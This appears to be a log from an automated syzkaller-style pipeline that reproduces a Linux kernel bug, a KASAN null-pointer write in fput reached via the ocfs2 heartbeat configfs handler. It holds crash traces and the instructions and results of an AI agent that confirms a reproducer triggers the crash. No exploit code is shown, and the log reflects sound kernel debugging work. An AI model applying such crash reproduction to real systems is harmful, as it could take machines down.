[   64.085320][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.088712][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.092446][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.096234][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.099850][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.103657][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.107601][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.111159][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.115052][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.118718][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.122542][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.126806][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.130028][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.133817][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.141245][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.145240][ T5835] ==================================================================
[   64.145248][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.148951][ T5835] BUG: KASAN: null-ptr-deref in fput+0x30/0xd0
[   64.151580][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.155233][ T5835] Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
[   64.155242][ T5835] 
[   64.155248][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
[   64.155256][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.155260][ T5835] Call Trace:
[   64.155264][ T5835]  <TASK>
[   64.155267][ T5835]  dump_stack_lvl+0xe8/0x150
[   64.155283][ T5835]  ? fput+0x30/0xd0
[   64.155289][ T5835]  kasan_report+0x117/0x150
[   64.155297][ T5835]  ? fput+0x30/0xd0
[   64.155308][ T5835]  kasan_check_range+0x264/0x2c0
[   64.155316][ T5835]  fput+0x30/0xd0
[   64.155322][ T5835]  o2hb_region_dev_store+0x70b/0x1330
[   64.155333][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.155343][ T5835]  ? _copy_from_iter+0x21b/0x1660
[   64.155352][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.155362][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.155371][ T5835]  ? down_read+0x2be/0x330
[   64.155382][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.155391][ T5835]  configfs_write_iter+0x337/0x430
[   64.155400][ T5835]  vfs_write+0x612/0xba0
[   64.155408][ T5835]  ? __pfx_vfs_write+0x10/0x10
[   64.155417][ T5835]  ? __fget_files+0x2a/0x420
[   64.155425][ T5835]  __x64_sys_pwrite64+0x196/0x220
[   64.155434][ T5835]  ? __pfx___x64_sys_pwrite64+0x10/0x10
[   64.155443][ T5835]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.155450][ T5835]  do_syscall_64+0x174/0x580
[   64.155459][ T5835]  ? trace_irq_disable+0x3b/0x140
[   64.155466][ T5835]  ? clear_bhb_loop+0x40/0x90
[   64.155473][ T5835]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.155480][ T5835] RIP: 0033:0x7f00c717be4e
[   64.155486][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[   64.155492][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[   64.155519][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[   64.155524][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[   64.155528][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[   64.155532][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[   64.155537][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[   64.155543][ T5835]  </TASK>
[   64.155546][ T5835] ==================================================================
[   64.157775][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.161717][ T5835] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   64.161725][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
[   64.161733][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.161737][ T5835] Call Trace:
[   64.161741][ T5835]  <TASK>
[   64.161744][ T5835]  vpanic+0x56c/0xa60
[   64.161756][ T5835]  ? __pfx_vpanic+0x10/0x10
[   64.161766][ T5835]  panic+0xc5/0xd0
[   64.161774][ T5835]  ? __pfx_panic+0x10/0x10
[   64.161783][ T5835]  ? fput+0x30/0xd0
[   64.161790][ T5835]  ? fput+0x30/0xd0
[   64.161796][ T5835]  check_panic_on_warn+0x89/0xb0
[   64.161803][ T5835]  ? fput+0x30/0xd0
[   64.161808][ T5835]  end_report+0x73/0x170
[   64.161815][ T5835]  ? fput+0x30/0xd0
[   64.161820][ T5835]  kasan_report+0x128/0x150
[   64.161827][ T5835]  ? fput+0x30/0xd0
[   64.161834][ T5835]  kasan_check_range+0x264/0x2c0
[   64.161841][ T5835]  fput+0x30/0xd0
[   64.161847][ T5835]  o2hb_region_dev_store+0x70b/0x1330
[   64.161859][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.161868][ T5835]  ? _copy_from_iter+0x21b/0x1660
[   64.161877][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.161886][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.161895][ T5835]  ? down_read+0x2be/0x330
[   64.161905][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.161914][ T5835]  configfs_write_iter+0x337/0x430
[   64.161923][ T5835]  vfs_write+0x612/0xba0
[   64.161931][ T5835]  ? __pfx_vfs_write+0x10/0x10
[   64.161940][ T5835]  ? __fget_files+0x2a/0x420
[   64.161948][ T5835]  __x64_sys_pwrite64+0x196/0x220
[   64.161957][ T5835]  ? __pfx___x64_sys_pwrite64+0x10/0x10
[   64.161966][ T5835]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.161972][ T5835]  do_syscall_64+0x174/0x580
[   64.161981][ T5835]  ? trace_irq_disable+0x3b/0x140
[   64.161988][ T5835]  ? clear_bhb_loop+0x40/0x90
[   64.161995][ T5835]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.162001][ T5835] RIP: 0033:0x7f00c717be4e
[   64.162007][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[   64.162013][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[   64.162021][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[   64.162026][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[   64.162030][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[   64.162034][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[   64.162039][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[   64.162045][ T5835]  </TASK>
[   64.165024][ T5835] Kernel Offset: disabled
 OtherCrashReports:<nil> StraceOutput: TestError:]

202/3 2026/09/04 21:01 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   61.946612][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   61.946621][   T33] audit: type=1400 audit(1788555666.426:201): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.956299][   T33] audit: type=1400 audit(1788555666.436:202): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.964330][   T33] audit: type=1400 audit(1788555666.436:203): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.970604][   T33] audit: type=1400 audit(1788555666.436:204): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:7215' (ED25519) to the list of known hosts.
[   63.988983][   T33] audit: type=1400 audit(1788555668.466:205): avc:  denied  { mounton } for  pid=5832 comm="syz-executor369" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   63.998170][   T33] audit: type=1400 audit(1788555668.466:206): avc:  denied  { mount } for  pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   64.002137][ T5832] audit: audit_backlog=65 > audit_backlog_limit=64
[   64.006189][   T33] audit: type=1400 audit(1788555668.466:207): avc:  denied  { search } for  pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.007879][ T5832] audit: audit_lost=1 audit_rate_limit=0 audit_backlog_limit=64
[   64.015184][   T33] audit: type=1400 audit(1788555668.466:208): avc:  denied  { search } for  pid=5832 comm="syz-executor369" name="cluster" dev="configfs" ino=168 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.023145][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.025746][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.030691][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.035179][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.038975][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.042927][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.042940][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.047127][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.050949][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.054721][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.058599][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.062081][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.065935][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.069879][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.073592][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.077453][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.081017][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.085320][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.088712][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.092446][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.096234][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.099850][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.103657][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.107601][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.111159][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.115052][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.118718][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.122542][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.126806][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.130028][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.133817][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.141245][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.145240][ T5835] ==================================================================
[   64.145248][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.148951][ T5835] BUG: KASAN: null-ptr-deref in fput+0x30/0xd0
[   64.151580][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.155233][ T5835] Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
[   64.155242][ T5835] 
[   64.155248][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
[   64.155256][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.155260][ T5835] Call Trace:
[   64.155264][ T5835]  <TASK>
[   64.155267][ T5835]  dump_stack_lvl+0xe8/0x150
[   64.155283][ T5835]  ? fput+0x30/0xd0
[   64.155289][ T5835]  kasan_report+0x117/0x150
[   64.155297][ T5835]  ? fput+0x30/0xd0
[   64.155308][ T5835]  kasan_check_range+0x264/0x2c0
[   64.155316][ T5835]  fput+0x30/0xd0
[   64.155322][ T5835]  o2hb_region_dev_store+0x70b/0x1330
[   64.155333][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.155343][ T5835]  ? _copy_from_iter+0x21b/0x1660
[   64.155352][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.155362][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.155371][ T5835]  ? down_read+0x2be/0x330
[   64.155382][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.155391][ T5835]  configfs_write_iter+0x337/0x430
[   64.155400][ T5835]  vfs_write+0x612/0xba0
[   64.155408][ T5835]  ? __pfx_vfs_write+0x10/0x10
[   64.155417][ T5835]  ? __fget_files+0x2a/0x420
[   64.155425][ T5835]  __x64_sys_pwrite64+0x196/0x220
[   64.155434][ T5835]  ? __pfx___x64_sys_pwrite64+0x10/0x10
[   64.155443][ T5835]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.155450][ T5835]  do_syscall_64+0x174/0x580
[   64.155459][ T5835]  ? trace_irq_disable+0x3b/0x140
[   64.155466][ T5835]  ? clear_bhb_loop+0x40/0x90
[   64.155473][ T5835]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.155480][ T5835] RIP: 0033:0x7f00c717be4e
[   64.155486][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[   64.155492][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[   64.155519][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[   64.155524][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[   64.155528][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[   64.155532][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[   64.155537][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[   64.155543][ T5835]  </TASK>
[   64.155546][ T5835] ==================================================================
[   64.157775][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.161717][ T5835] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   64.161725][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
[   64.161733][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.161737][ T5835] Call Trace:
[   64.161741][ T5835]  <TASK>
[   64.161744][ T5835]  vpanic+0x56c/0xa60
[   64.161756][ T5835]  ? __pfx_vpanic+0x10/0x10
[   64.161766][ T5835]  panic+0xc5/0xd0
[   64.161774][ T5835]  ? __pfx_panic+0x10/0x10
[   64.161783][ T5835]  ? fput+0x30/0xd0
[   64.161790][ T5835]  ? fput+0x30/0xd0
[   64.161796][ T5835]  check_panic_on_warn+0x89/0xb0
[   64.161803][ T5835]  ? fput+0x30/0xd0
[   64.161808][ T5835]  end_report+0x73/0x170
[   64.161815][ T5835]  ? fput+0x30/0xd0
[   64.161820][ T5835]  kasan_report+0x128/0x150
[   64.161827][ T5835]  ? fput+0x30/0xd0
[   64.161834][ T5835]  kasan_check_range+0x264/0x2c0
[   64.161841][ T5835]  fput+0x30/0xd0
[   64.161847][ T5835]  o2hb_region_dev_store+0x70b/0x1330
[   64.161859][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.161868][ T5835]  ? _copy_from_iter+0x21b/0x1660
[   64.161877][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.161886][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.161895][ T5835]  ? down_read+0x2be/0x330
[   64.161905][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.161914][ T5835]  configfs_write_iter+0x337/0x430
[   64.161923][ T5835]  vfs_write+0x612/0xba0
[   64.161931][ T5835]  ? __pfx_vfs_write+0x10/0x10
[   64.161940][ T5835]  ? __fget_files+0x2a/0x420
[   64.161948][ T5835]  __x64_sys_pwrite64+0x196/0x220
[   64.161957][ T5835]  ? __pfx___x64_sys_pwrite64+0x10/0x10
[   64.161966][ T5835]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.161972][ T5835]  do_syscall_64+0x174/0x580
[   64.161981][ T5835]  ? trace_irq_disable+0x3b/0x140
[   64.161988][ T5835]  ? clear_bhb_loop+0x40/0x90
[   64.161995][ T5835]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.162001][ T5835] RIP: 0033:0x7f00c717be4e
[   64.162007][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[   64.162013][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[   64.162021][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[   64.162026][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[   64.162030][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[   64.162034][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[   64.162039][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[   64.162045][ T5835]  </TASK>
[   64.165024][ T5835] Kernel Offset: disabled
 TruncatedCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835

CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x30/0xd0 fs/file_table.c:588
 o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x612/0xba0 fs/read_write.c:687
 ksys_pwrite64 fs/read_write.c:794 [inline]
 __do_sys_pwrite64 fs/read_write.c:802 [inline]
 __se_sys_pwrite64 fs/read_write.c:799 [inline]
 __x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
 </TASK>
==================================================================
 TruncatedStraceOutput:]

203/3 2026/09/04 21:01 agent repro-oracle
0m Model:
deep-reasoning

Results:
map[Feedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ProbePassed:false TerminalError: TitleMatches:true]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
   - Determine if the triggered crash matches the expected bug.
   - If you conclude they represent the same underlying bug (the same root cause)
     despite different titles, crash signatures, or call traces, set TitleMatches
     to true and provide a detailed, technical, and verbose explanation of the
     equivalence in the 'Feedback' field.
   - If they do not represent the same bug (a completely unrelated crash/collision),
     set TitleMatches to false and explain the collision in 'Feedback'.
   - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
   - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
     to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
     and provide feedback on how to improve the reproducer logic to trigger the crash.

Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
   the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
   or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
